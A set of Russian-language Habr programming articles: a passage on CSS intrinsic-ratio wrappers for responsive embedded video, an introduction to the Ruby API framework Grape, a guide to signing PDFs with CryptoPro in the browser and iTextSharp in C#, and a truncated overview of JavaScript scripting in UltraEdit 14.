position: relative; > >     padding-bottom: 20%; > >     height: 0; > > } > > > > .element-to-stretch { > >     position: absolute; > >     top: 0; > >     left: 0; > >     width: 100%; > >     height: 100%; > >     background: teal;     > > } > > > > \* This source code was highlighted with Source Code Highlighter.` Давайте рассмотрим объявления в каждом правиле, начиная с `.wrapper-with-intrinsic-ratio`. `position: relative` Объявив `position: relative` все дочерние элементы будут позиционироваться относительно этого контейнера. `padding-bottom: 20%` Это объявление дает блоку специфический *формат*. Использование 20% для `padding` делает высоту блока равной 20% от его ширины. Мы специально выбрали `padding-bottom`, а не `padding-top`. Это объясняется тем, что IE5 *удаляет* из потока «пространство» созданное при помощи `padding-top`. Иными словами, используя `padding-top: 20%` будет создан макет, который мы хотим, но блок будет вести себя как абсолютно позиционированный элемент, перекрывая следующие элементы в потоке. `height: 0` Определение нулевой высоты создает этому элементу «Layout», что дает возможность делать IE5 и IE6 правильные измерения внутри блока. Чтобы узнать больше, посетите «[On having layout](http://www.satzansatz.de/cssd/onhavinglayout.html)» ([перевод на хабре](http://habrahabr.ru/blogs/webdev/31236/)) Теперь давайте рассмотрим каждое объявление в правиле `.element-to-stretch`. `position: absolute` Это освобождает элемент от границ высоты его родителя. Таким образом он может быть расположен в «области padding». `top: 0` Мы устанавливаем `top: 0`, чтобы поместить блок в верхнюю часть его родителя. `left: 0` Это объявление располагает блок в левой части его родителя. `width: 100%` Объявление `width: 100%` растягивает блок на всю ширину его контейнера. `height: 100%` Это объявление растягивает блок на всю высоту его контейнера. `background: teal` Задаем цвет, чтобы увидеть расположение блока. Реальные действия ----------------- В [примере 3](http://www.alistapart.com/d/creating-intrinsic-ratios-for-video/example3.html) используется видео с YouTube (*YouTube markup*), поэтому нам нужно создать место для панели управления. Высота панели статична: она составляет 25 пикселей, независимо от размеров видео. Мы так же изменяем значение `padding`, для показа видео в широком формате (16:9). > `#containingBlock { > >     width: 50%; > > } > > > > .videoWrapper { > >     position: relative; > >     padding-bottom: 56.25%; > >     padding-top: 25px; > >     height: 0; > > } > > > > object, > > embed { > >     position: absolute; > >     top: 0; > >     left: 0; > >     width: 100%; > >     height: 100%; > > } > > > > \* This source code was highlighted with Source Code Highlighter.` Давайте взглянем на наши новые селекторы и объявления, начнем с селектора `#containingBlock` `width: 50%` Это всего лишь обертка видео, чтобы продемонстрировать изменение размеров видео основываясь на ширине блока просмотра. В предыдущем примере родительским блоком был элемент `body`. Теперь давайте рассмотрим несколько объявлений в селекторе `.videoWrapper`. `padding-bottom: 56.25%` Чтобы создать отношение 16:9 мы должны разделить 9на 16 (0.5625 или 56.25%). `padding-top: 25px` Чтобы избежать проблем с [нарушением блочной модели](http://www.456bereastreet.com/archive/200612/internet_explorer_and_the_css_box_model/) (IE5 или IE6 в quirks mode), мы используем `padding-top`, а не `height` для создания места под панель управления. Наконец мы будем использовать `object, embed` селектор, потому что, некоторые броузеры используют `object` (например,Safari), другие `embed` (например, Firefox). **Примечание**: В данный момент я использую элементы разметки YouTube, но в конце статьи буду использовать валидную разметку и уберу `embed`. Исправления для Internet Explorer --------------------------------- Чтобы сделать это работоспособным в Internet Explorer просто добавим дополнительные обертки. [Пример 4](http://www.alistapart.com/d/creating-intrinsic-ratios-for-video/example4.html). > `#containingBlock { > >     width: 50%; > > } > > > > .videoWrapper { > >     position: relative; > >     padding-top: 25px; > >     padding-bottom: 56.25%; > >     height: 0; > > } > > > > \* html .videoWrapper { > >     margin-bottom: 45px; > >     margin-bot\tom: 0; > > } > > > > .videoWrapper div, > > .videoWrapper embed, > > .videoWrapper object { > >     position:absolute; > >     width: 100%; > >     height: 100%; > >     left: 0; > >     top: 0; > > } > > > > \* This source code was highlighted with Source Code Highlighter.` Давайте взглянем на наши новые селекторы и объявления, начиная с селектора `.videoWrapper`. `height: 0` Как видно во [втором примере](http://www.alistapart.com/d/creating-intrinsic-ratios-for-video/example2.html), IE5 и IE6 нуждается в «layout». Теперь посмотрим на селектор `* html .videoWrapper`. Так называемый «star hack», Этот селектор работает только для IE6 и ниже, поэтому только эти версии обработают следующие объявления: `margin-bottom: 45px` Как видно во [втором примере](http://www.alistapart.com/d/creating-intrinsic-ratios-for-video/example2.html), верхний `padding` создает некоторые проблемы в IE5. Здесь мы используем произвольное значение (которое должно работать с различными панелями управления) в качестве компенсации за «пространство» мы теряем возможность использовать `padding-top`. Это необходимо для предотвращения накладывания видео на следующие элементы. `margin-bottom: 0` В CSS разделение знаками (обратный слеш) названия свойства действует как фильтр, устанавливая некоторое значение для IE6. IE6 «видит» это объявление, в то время как IE5 игнорирует его. Если вы предпочитаете использовать условные комментарии, а не вышеуказанные фильтры, вы можете переместить эти объявления в специфические `style` заголовка документа. Селектор `.videoWrapper div` является дополнительной оберткой, которую нам нужно сделать для Internet Explorer версий 5, 6 и 7. **Примечание**: Мы используем `.videoWrapper div, .videoWrapper embed` и `.videoWrapper object {}` вместо `.videoWrapper * {}` для предотвращения стилизации другого контента. Отчистка -------- Чтобы сделать решение более гибким, мы удаляем объявление `padding-top` из предыдущих правил и привяжем иго к классам. Таким образом мы можем легко стилизовать видео с различными пропорциями и/или панелями управления. [Пример 5](http://www.alistapart.com/d/creating-intrinsic-ratios-for-video/example5.html). > `#containingBlock { > >     width: 50%; > > } > > > > .videoWrapper { > >     position: relative; > >     height: 0; > > } > > > > \* html .videoWrapper { > >     margin-bottom: 45px; > >     margin-bot\tom: 0; > > } > > > > .videoWrapper div, > > .videoWrapper embed, > > .videoWrapper object { > >     position: absolute; > >     width: 100%; > >     height: 100%; > >     left: 0; > >     top: 0; > > } > > > > .wideScreen { > >     padding-bottom: 56.25%; > > } > > > > .fourBYthree { > >     padding-bottom: 75%; > > } > > > > .chrome\_25 { > >     padding-top: 25px; > > } > > > > .chrome\_35 { > >     padding-top: 35px; > > } > > > > \* This source code was highlighted with Source Code Highlighter.` Рассмотрим новые классы начиная с `.wideScreen`. `.wideScreen` Используем этот класс для стилизации div.videoWrapper в соотношении 16:9. `.fourBYthree` Используем этот класс для стилизации div.videoWrapper в соотношении 4:3. `.chrome_25` Этот класс создает пространство для панели управления высотой в 25 пикселей. `.chrome_35` Этот класс создает пространство для панели управления высотой в 35 пикселей. Вопрос валидации ---------------- Когда дело доходит до видео, поддержки web стандартов не легка. Во первых, большинство «поставщиков» не кодирует амперсанды. Чаще всего, они используют [twice-cooked метод](http://www.alistapart.com/articles/flashembedcagematch/) (в котором используются *не стандартные элементы* `embed`). Для того, чтобы сделать нашу разметку соответствующей стандартам, мы сначала заменим все амперсанды в URL на «`& amp;`». Затем, мы реализуем *метод одного объекта*. В отличии от [метода вложенных объектов](http://www.alistapart.com/articles/flashembedcagematch/), эта технология предоставляет броузеру единственный объект, как показывает пример кода ниже. [Пример 6](http://www.alistapart.com/d/creating-intrinsic-ratios-for-video/example6.html). > `<div id="containingBlock"> > >  <div class="videoWrapper"> > >     <div> > >       > >       > >      <object type="application/x-shockwave-flash" data="http://www.youtube.com/v/mDRYnaajUcY&hl=en&fs=1&showinfo=0" width="480" height="295"> > >       > >         <param name="quality" value="high" /> > >         <param name="wmode" value="opaque" /> > >         <p><a href="http://www.adobe.com/go/getflashplayer"><img alt="Get Adobe Flash player" src="http://www.adobe.com/images/shared/download\_buttons/get\_flash\_player.gif"/>a>p> > >      object> > >     div> > >  div> > >  ... > > div> > > > > \* This source code was highlighted with Source Code Highlighter.` Метод *одного объекта* облегчает генерацию кода, поскольку «разветвление» сделано в одном месте , а не в двух и . Бонус ----- Поскольку мы создаем абсолютно позиционированный элемент в блоке, мы можем скрыть контент «позади» видео. Примечание: Этот контент находится вне объекта. Это не «альтернативный контент», как таковой. [Пример 7](http://www.alistapart.com/d/creating-intrinsic-ratios-for-video/example7.html). > `<div id="containingBlock"> > >  <div class="videoWrapper"> > >     <div> > >       > >       > >      <object type="application/x-shockwave-flash" data="http://www.youtube.com/v/mDRYnaajUcY&hl=en&fs=1&showinfo=0" width="480" height="295"> > >       > >         <param name="quality" value="high" /> > >         <param name="wmode" value="opaque" /> > >         <p><a href="http://www.adobe.com/go/getflashplayer"> <img alt="Get Adobe Flash player" src="http://www.adobe.com/images/shared/download\_buttons/get\_flash\_player.gif">a>p> > >      object> > >     div> > >      > > > >     <p>The following is the description of the video embeded in this document.p> > > > >     <p>This short clip is about YouTube widescreen formatting. It shows the two main formats (16:9, 4:3) and also explains the best way to create a Flash movie according to the new widescreen format.p> > >  div> > >  ... > > div> > > > > \* This source code was highlighted with Source Code Highlighter.` Подход с использованием скрипта SWFObject ----------------------------------------- Чтобы автоматизировать этот подход, мы можем использовать скрипт SWFObject, чтобы добавить нужную стилизацию классу `.videoWrapper`, а так же добавить обертку, если это необходимо для IE. [Пример 8](http://www.alistapart.com/d/creating-intrinsic-ratios-for-video/example8.html). Примечание: в последнем примере, ширина блока-контейнера указана в `em`. Чтобы добавить код, мы должны заменить следующие строки в SWFObject v 1.5 (примерно 117 строка) > `n.innerHTML = this.getSWFHTML(); > > > > \* This source code was highlighted with Source Code Highlighter.` На: > `n.className += " videoWrapper"; > > if(typeof document.documentElement.style.zoom != "undefined"){ > >     var wrapper4ie = document.createElement("div"); > >     n.appendChild(wrapper4ie); > >     wrapper4ie.innerHTML = this.getSWFHTML(); > > }else{ > >     n.innerHTML = this.getSWFHTML();                 > > }; > > > > \* This source code was highlighted with Source Code Highlighter.` Это все что нужно. Всего лишь, небольшой CSS и вы можете масштабировать видео на лету.
https://habr.com/ru/post/62178/
null
ru
null
# Grape: не рельсами едиными ![](https://habrastorage.org/r/w1560/files/a6c/f9e/f63/a6cf9ef6357c40d698dbd9c8627b622f.png) В этом посте я хотел бы познакомить вас с Grape — веб-фреймворком, написанным на ruby, предназначенным для быстрой и удобной разработки API, а также немного порассуждать о судьбе Rails в свете последних тенденций в веб-разработке. #### Ruby = Ruby On Rails Как-то так сложилось, что при упоминании ruby в качестве средства веб-разработки (да и просто в качестве скриптового ЯП) передо многими людьми, имеющими некоторое отношение к этой самой веб-разработке, в голове возникает если не логотип с пресловутыми белыми рельсами на красном фоне, то магическое словосочетание Ruby On Rails уж точно. Я не берусь спорить, хорошо это или плохо — эта статья не для спора. Одно могу сказать с уверенностью — RoR оказал огромное влияние на развитие веб-фреймворков в целом, а этот вклад переоценить крайне трудно. #### НО Но жизнь не стоит на месте. Веб становится динамичным, все большее и большее значение приобретают мобильные приложения, пользователю нужно потреблять контент «не отходя от кассы», то есть с экрана своего айфона, гугл нексуса, хуайвэя, впиши\_название\_своего\_телефона. Да и сами сайты нуждаются в качественно новых подходах к организации пользовательских взаимодействий и подаче контента. AngularJS, Ember, Meteor.js, Derby.js — технологии, предвосхищающие очередной прорыв в сайтостроении, который можно сравнить с «изобретением» AJAX в старые добрые времена. Ruby-разработчикам нужно мощное и в то же время легкое для освоения средство для разработки API, которым когда-то стали RoR для обычных сайтов. #### Давайте уже к делу! Действительно, хватит рассуждений. Встречайте — [Grape](http://intridea.github.io/grape/) Это фреймворк, заточенный под разработку API, никаких швейцарских ножей. Но надо отдать должное, он умеет делать API очень неплохо. Попробую перечислить основные его достоинства: 1. DSL, заточенный под описание API 2. версионирование API из коробки 3. параметризация методов со встроенной валидацией 4. автоматическая генерация OPTIONS (кто встречался с CORS — оценит) 5. прозрачная работа с форматами API 6. встроенный DSL для документирования вот далеко не полный перечень инструментов, которые облегчают жизнь разработчика API, когда он использует Grape. #### Code time Для начала приведу пример простого приложения, которое по адресу /hello/world.json вернет нам {hello: 'world'} **Gemfile** ``` source 'https://rubygems.org' gem 'grape', github: 'intridea/grape' gem 'rack', '~> 1.5.2' gem 'thin', '~> 1.6.2' ``` **hello\_world.rb** ``` require 'grape' class HelloWorld < Grape::API format :json namespace :hello do get :world do {hello: 'world'} end end end ``` **config.ru** ``` require_relative 'hello_world' run HelloWorld ``` На моем i5 c 16 Гб памяти и HDD это приложение стартует где-то за 400-700 мс. Вот список используемых гемов: ``` Using i18n 0.6.11 Using json 1.8.1 Using minitest 5.4.1 Using thread_safe 0.3.4 Using tzinfo 1.2.2 Using activesupport 4.1.6 Using descendants_tracker 0.0.4 Using ice_nine 0.11.0 Using axiom-types 0.1.1 Using builder 3.2.2 Using coercible 1.0.0 Using daemons 1.1.9 Using equalizer 0.0.9 Using eventmachine 1.0.3 Using hashie 3.3.1 Using multi_json 1.10.1 Using multi_xml 0.5.5 Using rack 1.5.2 Using rack-accept 0.4.5 Using rack-mount 0.8.3 Using virtus 1.0.3 Using grape 0.9.1 from git://github.com/intridea/grape.git (at master) Using thin 1.6.2 ``` Как вы могли заметить, в Grape есть чудесная штука, которая называется namespace. Она же group, resource, resources, segment — все для удобства чтения кода. При этом она может использоваться без параметров. Казалось бы, зачем? А вот вам пример: ``` namespace :authorized do before { authorize! } get :some_secret_data ... end group do before { authorize! } get :some_secret_data ... end ``` Это как в фильме — «все что случилось в Лас-Вегасе — остается в Лас-Вегасе». Внутри групп, равно как нэймспейсов, вы можете определять before и after блоки, которые будут выполняться только для роутов, указанных в данных группах (и глубже). Вот пример, демонстрирующий использование параметров: ``` params do requires :first_name, type: String requires :last_name, type: String optional :birth_date, type: DateTime end post :register do ... end ``` Как по мне, так понятно без слов. Управление в роут даже не попадет, если с запросом не будут переданы параметры, которые удовлетворяют описанным условиям. Самое чудесное, что это все с минимальными модификациями можно использовать для документирования API. Например: ``` desc 'User signup' params do requires :first_name, type: String, desc: 'First name' requires :last_name, type: String, desc: 'Last name' optional :birth_date, type: DateTime, desc: 'Date of birth' end post :register do ... end ``` Убиваем сразу целую охапку зайцев — код документирован на месте, подключив grape-swagger получаем swagger-совместимую документацию. Изменили код — изменилась документация. Одной из многих чудесных штук, которые меня покорили в Grape, является mount. Позволяет примонтировать ранее описанный API в новое место: **mount.rb** ``` class Mount < Grape::API get :mounted do {mounted: true} end end ``` **mount.rb** ``` require 'grape' require_relative 'mount' class HelloWorld < Grape::API format :json namespace :hello do mount Mount get :world do {hello: 'world'} end end end ``` Как мы все уже поняли, наш роут из класса Mount станет доступен по адресу /hello/mounted.json #### «Меня терзают смутные сомнения...» Само собой, объема среднестатистической статьи, которая не вызовет у хабражителя стойкого зевотного рефлекса, вряд ли хватит, чтобы рассказать о всех плюсах и минусах фреймворка. Моей задачей в первую очередь было вызвать в вас интерес — документация у проекта неплохая, трудностей с дальнейшим изучением возникнуть не должно. Также на гитхаб-страничке можно найти перечень гемов, которые можно использовать совместно с grape. #### Эпилог До недавнего времени у проекта была небольшая проблема, связанная с автоматической перезагрузкой измененного кода в dev-режиме. Все Rails-разработчики к этому привыкли и на мой взгляд это must have feature. В issues на гитхабе эта проблема была озвучена несколько раз и вроде предлагались какие-то решения на Rack::Reloader и для случаев использования совместно с Rails. Я позволю себе упомянуть свое собственное решение, которое увидело свет буквально пару недель назад, а именно гем [grape-reload](https://github.com/AlexYankee/grape-reload), предназначенный для использования в plain-rack стеках. Для grape версии 0.9.0 и ранее можно использовать версию гема 0.0.3, для более поздних и master-ветки фреймворка используйте master-ветку репозитория гема. Если вам будут интересны дальнейшие статьи, посвященные данному фреймворку — не забудьте упомянуть об этом в комемнтариях. **Всем ruby, посоны!** P.S. В ближайшее время напишу статью по созданию API для todo-листов, с использованием БД. Допускаю, что из данной вводной статьи непонятно, в чем отличие этого фреймворка от Rails и почему я не сравниваю его с Sinatra. Также постараюсь в следующей статье сделать бенчмарк приложения на ActiveSupport::Metal и Grape.
https://habr.com/ru/post/238321/
null
ru
null
# Подписание PDF на JS и вставка подписи на C#, используя Крипто ПРО Итак. Пришла задача. Используя браузер предложить пользователю подписать PDF электронной подписью (далее ЭП). У пользователя должен быть токен, содержащий сертификат, открытый и закрытый ключ. Далее на сервере надо вставить подпись в PDF документ. После этого надо проверить подпись на валидность. В качестве back-end используем ASP.NET и соответственно C#. Вся соль в том, что надо использовать подпись в формате CAdES-X Long Type 1, и российские ГОСТ Р 34.10-2001, ГОСТ Р 34.10-2012 и т.п. Кроме того подписей может быть более одной, то есть пользователи могут по очереди подписывать файл. При этом предыдущие подписи должны оставаться валидными. В процессе решения задачу решили усложнить для нас, и уменьшить объем передаваемых данных на клиент. Передавать только hash документа, но не сам документ. В исходниках буду опускать малозначимые для темы моменты, оставлю только то что касается криптографии. Код на JS приведу только для нормальных браузеров, JS-движки которых поддерживают Promise и function generator. Думаю кому нужно для IE напишут сами (мне пришлось «через не хочу»). Что нужно: 1. Пользователь должен получить пару ключей и сертификат. 2. Пользователь должен установить plug-in от Крипто ПРО. Без этого средствами JS мы не сможем работать с криптопровайдером. Замечания: 1. Для тестов у меня был сертификат выданный тестовым ЦС Крипто ПРО и нормальный токен, полученный одним из наших сотрудников (на момент написания статьи ~1500р с годовой лицензией на Крипто ПРО и двумя сертификатами: но «новому» и «старому» ГОСТ) 2. Говорят, plug-in умеет работать и с ViPNet, но я не проверял. Теперь будем считать что у нас на сервере есть готовый для подписывания PDF. Добавляем на страницу скрипт от Крипто ПРО: ``` ``` Дальше нам надо дождаться пока будет сформирован объект cadesplugin ``` window.cadespluginLoaded = false; cadesplugin.then(function () { window.cadespluginLoaded = true; }); ``` Запрашиваем у сервера hash. Предварительно для этого нам ещё надо знать каким сертификатом, а значит и алгоритмом пользователь будет подписывать. Маленькая ремарка: все функции и «переменные» для работы с криптографией на стороне клиента я объединил в объект CryptographyObject. Метод заполнения поля certificates объекта CryptographyObject: ``` fillCertificates: function (failCallback) { cadesplugin.async_spawn(function*() { try { let oStore = yield cadesplugin.CreateObjectAsync("CAPICOM.Store"); oStore.Open(cadesplugin.CAPICOM_CURRENT_USER_STORE, cadesplugin.CAPICOM_MY_STORE, cadesplugin.CAPICOM_STORE_OPEN_MAXIMUM_ALLOWED); let certs = yield oStore.Certificates; certs = yield certs.Find(cadesplugin.CAPICOM_CERTIFICATE_FIND_TIME_VALID); let certsCount = yield certs.Count; for (let i = 1; i <= certsCount; i++) { let cert = yield certs.Item(i); CryptographyObject.certificates.push(cert); } oStore.Close(); } catch (exc) { failCallback(exc); } }); } ``` Комментарий: пробуем открыть хранилище сертификатов. В этот момент система пользователя выдаст предупреждение, что сайт пытается что-то сделать с сертификатами, криптографией и прочей магической непонятной ерундой. Пользователю тут надо будет нажать кнопку «Да» Далее получаем сертификаты, валидные по времени (не просроченные) и складываем их в массив certificates. Это надо сделать из-за асинхронной природы cadesplugin (для IE всё иначе ;) ). Метод получения hash: ``` getHash: function (certIndex, successCallback, failCallback, какие-то ещё параметры) { try { cadesplugin.async_spawn(function*() { let cert = CryptographyObject.certificates[certIndex]; let certPublicKey = yield cert.PublicKey(); let certAlgorithm = yield certPublicKey.Algorithm; let algorithmValue = yield certAlgorithm.Value; let hashAlgorithm; //определяем алгоритм подписания по данным из сертификата и получаем алгоритм хеширования if (algorithmValue === "1.2.643.7.1.1.1.1") { hashAlgorithm = "2012256"; } else if (algorithmValue === "1.2.643.7.1.1.1.2") { hashAlgorithm = "2012512"; } else if (algorithmValue === "1.2.643.2.2.19") { hashAlgorithm = "3411"; } else { failCallback("Реализуемый алгоритм не подходит для подписания документа."); return; } $.ajax({ url: "/Services/SignService.asmx/GetHash", method: "POST", contentType: "application/json; charset=utf-8 ", dataType: "json", data: JSON.stringify({ //какие-то данные для определения документа //не забудем проверить на сервере имеет ли пользователь нужные права hashAlgorithm: hashAlgorithm, }), complete: function (response) { //получаем ответ от сервера, подписываем и отправляем подпись на сервер if (response.status === 200) { CryptographyObject.signHash(response.responseJSON, function(data) { $.ajax({ url: CryptographyObject.signServiceUrl, method: "POST", contentType: "application/json; charset=utf-8", dataType: "json", data: JSON.stringify({ Signature: data.Signature, //какие-то данные для определения файла //не забудем про серверную валидацию и авторизацию }), complete: function(response) { if (response.status === 200) successCallback(); else failCallback(); } }); }, certIndex); } else { failCallback(); } } }); }); } catch (exc) { failCallback(exc); } } ``` Комментарий: обратите внимание на cadesplugin.async\_spawn, в нее передаётся функция-генератор, на которой последовательно вызывается next(), что приводит к переходу к yield. Таким образом получается некий аналог async-await из C#. Всё выглядит синхронно, но работает асинхронно. Теперь что происходит на сервере, когда у него запросили hash. Во-первых необходимо установить nuget-пакет iTextSharp (на момент написания стать актуальная версия 5.5.13) Во-вторых нужен CryptoPro.Sharpei, он идёт в нагрузку к Крипто ПРО .NET SDK Теперь можно получать hash ``` //определим hash-алгоритм HashAlgorithm hashAlgorithm; switch (hashAlgorithmName) { case "3411": hashAlgorithm = new Gost3411CryptoServiceProvider(); break; case "2012256": hashAlgorithm = new Gost3411_2012_256CryptoServiceProvider(); break; case "2012512": hashAlgorithm = new Gost3411_2012_512CryptoServiceProvider(); break; default: GetLogger().AddError("Неизвестный алгоритм хеширования", $"hashAlgorithmName: {hashAlgorithmName}"); return HttpStatusCode.BadRequest; } //получим hash в строковом представлении, понятном cadesplugin string hash; using (hashAlgorithm) //downloadResponse.RawBytes - просто массив байт исходного PDF файла using (PdfReader reader = new PdfReader(downloadResponse.RawBytes)) { //ищем уже существующие подписи int existingSignaturesNumber = reader.AcroFields.GetSignatureNames().Count; using (MemoryStream stream = new MemoryStream()) { //добавляем пустой контейнер для новой подписи using (PdfStamper st = PdfStamper.CreateSignature(reader, stream, '\0', null, true)) { PdfSignatureAppearance appearance = st.SignatureAppearance; //координаты надо менять в зависимости от существующего количества подписей, чтоб они не наложились друг на друга appearance.SetVisibleSignature(new Rectangle(36, 100, 164, 150), reader.NumberOfPages, //задаём имя поля, оно потом понадобиться для вставки подписи $"{SignatureFieldNamePrefix}{existingSignaturesNumber + 1}"); //сообщаем, что подпись придёт извне ExternalBlankSignatureContainer external = new ExternalBlankSignatureContainer(PdfName.ADOBE_PPKLITE, PdfName.ADBE_PKCS7_DETACHED); //третий параметр - сколько места в байтах мы выделяем под подпись //я выделяю много, т.к. CAdES-X Long Type 1 содержит все сертификаты по цепочке до самого корневого центра MakeSignature.SignExternalContainer(appearance, external, 65536); //получаем поток, который содержит последовательность, которую мы хотим подписывать using (Stream contentStream = appearance.GetRangeStream()) { //вычисляем hash и переводим его в строку, понятную cadesplugin hash = string.Join(string.Empty, hashAlgorithm.ComputeHash(contentStream).Select(x => x.ToString("X2"))); } } //сохраняем stream куда хотим, он нам пригодиться, что бы вставить туда подпись } } ``` На клиенте, получив hash от сервера подписываем его ``` //certIndex - индекс в массиве сертификатов. На основании именно этого сертификата мы получали алгоритм и формировали hash на сервере signHash: function (data, callback, certIndex, failCallback) { try { cadesplugin.async_spawn(function*() { certIndex = certIndex | 0; let oSigner = yield cadesplugin.CreateObjectAsync("CAdESCOM.CPSigner"); let cert = CryptographyObject.certificates[certIndex]; oSigner.propset_Certificate(cert); oSigner.propset_Options(cadesplugin.CAPICOM_CERTIFICATE_INCLUDE_WHOLE_CHAIN); //тут надо указать нормальный адрес TSP сервера. Это тестовый от Крипто ПРО oSigner.propset_TSAAddress("https://www.cryptopro.ru/tsp/"); let hashObject = yield cadesplugin.CreateObjectAsync("CAdESCOM.HashedData"); let certPublicKey = yield cert.PublicKey(); let certAlgorithm = yield certPublicKey.Algorithm; let algorithmValue = yield certAlgorithm.Value; if (algorithmValue === "1.2.643.7.1.1.1.1") { yield hashObject.propset_Algorithm(cadesplugin.CADESCOM_HASH_ALGORITHM_CP_GOST_3411_2012_256); oSigner.propset_TSAAddress(CryptographyObject.tsaAddress2012); } else if (algorithmValue === "1.2.643.7.1.1.1.2") { yield hashObject.propset_Algorithm(cadesplugin.CADESCOM_HASH_ALGORITHM_CP_GOST_3411_2012_512); oSigner.propset_TSAAddress(CryptographyObject.tsaAddress2012); } else if (algorithmValue === "1.2.643.2.2.19") { yield hashObject.propset_Algorithm(cadesplugin.CADESCOM_HASH_ALGORITHM_CP_GOST_3411); oSigner.propset_TSAAddress(CryptographyObject.tsaAddress2001); } else { alert("Невозможно подписать документ этим сертификатом"); return; } //в объект описания hash вставляем уже готовый hash с сервера yield hashObject.SetHashValue(data.Hash); let oSignedData = yield cadesplugin.CreateObjectAsync("CAdESCOM.CadesSignedData"); oSignedData.propset_ContentEncoding(cadesplugin.CADESCOM_BASE64_TO_BINARY); //результат подписания в base64 let signatureHex = yield oSignedData.SignHash(hashObject, oSigner, cadesplugin.CADESCOM_CADES_X_LONG_TYPE_1); data.Signature = signatureHex; callback(data); }); } catch (exc) { failCallback(exc); } } ``` Комментарий: полученную подпись отправляем на сервер (см. выше) Ну и наконец вставляем подпись в документ на стороне сервера ``` //всякие нужные проверки //downloadResponse.RawBytes - ранее созданный PDF с пустым контейнером для подписи using (PdfReader reader = new PdfReader(downloadResponse.RawBytes)) { using (MemoryStream stream = new MemoryStream()) { //requestData.Signature - собственно подпись от клиента IExternalSignatureContainer external = new SimpleExternalSignatureContainer(Convert.FromBase64String(requestData.Signature)); //lastSignatureName - имя контейнера, которое мы определили при формировании hash MakeSignature.SignDeferred(reader, lastSignatureName, stream, external); //сохраняем подписанный файл } } ``` Комментарий: SimpleExternalSignatureContainer — это простейший класс, реализующий интерфейс IExternalSignatureContainer ``` /// /// Простая реализация контейнера внешней подписи /// private class SimpleExternalSignatureContainer : IExternalSignatureContainer { private readonly byte[] _signedBytes; public SimpleExternalSignatureContainer(byte[] signedBytes) { _signedBytes = signedBytes; } public byte[] Sign(Stream data) { return _signedBytes; } public void ModifySigningDictionary(PdfDictionary signDic) { } } ``` Собственно с подписанием PDF на этом всё. Проверка будет описана в продолжении статьи. Надеюсь, она будет… **Источники вдохновения**[www.cryptopro.ru/sites/default/files/products/cades/demopage/cades\_xlong\_sample.html](https://www.cryptopro.ru/sites/default/files/products/cades/demopage/cades_xlong_sample.html) [cpdn.cryptopro.ru/content/cades/plugin-activation.html](http://cpdn.cryptopro.ru/content/cades/plugin-activation.html) [www.cryptopro.ru/forum2/default.aspx?g=posts&t=11119](https://www.cryptopro.ru/forum2/default.aspx?g=posts&t=11119) [www.cryptopro.ru/forum2/default.aspx?g=posts&t=3691&p=21](https://www.cryptopro.ru/forum2/default.aspx?g=posts&t=3691&p=21) [cpdn.cryptopro.ru/default.asp?url=content/cades/plugin-samples-raw-signature.html](http://cpdn.cryptopro.ru/default.asp?url=content/cades/plugin-samples-raw-signature.html) [cpdn.cryptopro.ru/default.asp?url=content/cades/plugin.html](http://cpdn.cryptopro.ru/default.asp?url=content/cades/plugin.html) [itextsupport.com/apidocs/itext5/5.5.9/com/itextpdf/text/pdf/PdfStamper.html#createSignature-com.itextpdf.text.pdf.PdfReader-java.io.OutputStream-char-java.io.File-boolean-](http://itextsupport.com/apidocs/itext5/5.5.9/com/itextpdf/text/pdf/PdfStamper.html#createSignature-com.itextpdf.text.pdf.PdfReader-java.io.OutputStream-char-java.io.File-boolean-) **Внёс исправления из комментария о получении Oid алгоритма подписи. Спасибо**
https://habr.com/ru/post/426087/
null
ru
null
# Скрипты в UltraEdit32 v.14 ![](https://habrastorage.org/r/w780q1/getpro/geektimes/post_images/bfa/012/ca4/bfa012ca4369ff975e05acd2dd46ad27.jpg "UltraEdit32 logo") Есть программисты которые пользуются таким инструментом как [UltraEdit32](http://www.ultraedit.com/ "www.ultraedit.com"). Ни в коем случае не рекламирую этот продукт, просто решил поделится информацией о некоторых его возможностях. В данной статье рассмотрены возможности по написанию скриптов для UltraEdit v.14. Для автоматизации рутинных задач, UltraEdit имеет два инструмента: * [Макросы](http://www.ultraedit.com/downloads/extras.html#macros "Официальный сайт, описание использования макросов") — используются для записи последовательностей вызовов функций меню, нажатий кнопок и прочих совершённых действий для последующего их повторения. Создаются создаются в автоматическом режиме записи макроса, когда каждое действие учитывается. Записываются в виде Basic – подобного языка в виде последовательностей действий. * [Скрипты](http://www.ultraedit.com/downloads/extras.html#Scripts "Официальный сайт, описание использования скриптов") — предназначены для создания более гибких сценариев автоматизации, которые затруднительно реализовать с помощью макросов. Создаются в том же самом текстовом редакторе, обычным программированием. Записываются в виде JavaScript (v.1.7.) сценариев, что не может не радовать. Итак, сначала немного общих положений, а далее несколько примеров, которые сам постоянно использую. Создание скриптов ----------------- ![](https://habr.com/images/px.gif#%3D%22http%3A%2F%2Fimg199.imageshack.us%2Fimg199%2F6523%2Fimg1o.png%22) Создавать скрипты очень просто, в меню “**Scripting**” имеется закладка “**Scripts...**” с помощью которой можно легко и просто управлять всеми доступными скриптами. Также, при выборе “**Script list**” становится доступным окошко со списком скриптов, которое можно пристроить в удобном месте, к примеру как на втором рисунке, в левом нижнем углу. ![](https://habr.com/images/px.gif#%3D%22http%3A%2F%2Fimg200.imageshack.us%2Fimg200%2F8392%2Fimg2cvu.png%22) Более детально со средствами управления скриптами можно ознакомится на [сайте](http://www.ultraedit.com/support/tutorials_power_tips/ultraedit/scripting_engine_tutorial.html), на русском нет. Скрипты хранятся в обычных .js файлах и подключаются автоматически при старте программы. Следует понимать, что скрипты, это не наборы функций, и при вызове каждый отрабатывает от начала и до конца. Для использования специфических свойств документа к стандартным объектам JavaScript добавлен ещё один: **UltraEdit**, который и является главным интерфейсом к текущему рабочему пространству. Основные полезные свойства и методы объекта UltraEdit ----------------------------------------------------- * **activeDocument** – как ни странно, предоставляет доступ к текущему активному документу. **Пример**: > `UltraEdit.activeDocument.write('Hello Habr');` Допишет текст 'Hello Habr' в позицию текущего курсора. * **activeDocument.selection** – предоставляет доступ к текущему выделенному тексту. **Пример**: > `var str = UltraEdit.activeDocument.selection; > > str = str.replace(/Word/g, "Habr"); > > UltraEdit.outputWindow.showWindow(true); > > UltraEdit.outputWindow.write(str);` Заменит в выделенном тексте все слова Word на Habr и выведет результат в окно вывода информации. * **activeDocument.selection.copy()/cut()/paste()** — в особых комментариях думаю не нуждается. * **activeDocument.key()** — позволяет имитировать нажатия клавиш во время выполнения скрипта. **Пример**: > `UltraEdit.activeDocument.key("HOME"); > > UltraEdit.activeDocument.startSelect(); > > UltraEdit.activeDocument.key("END"); > > 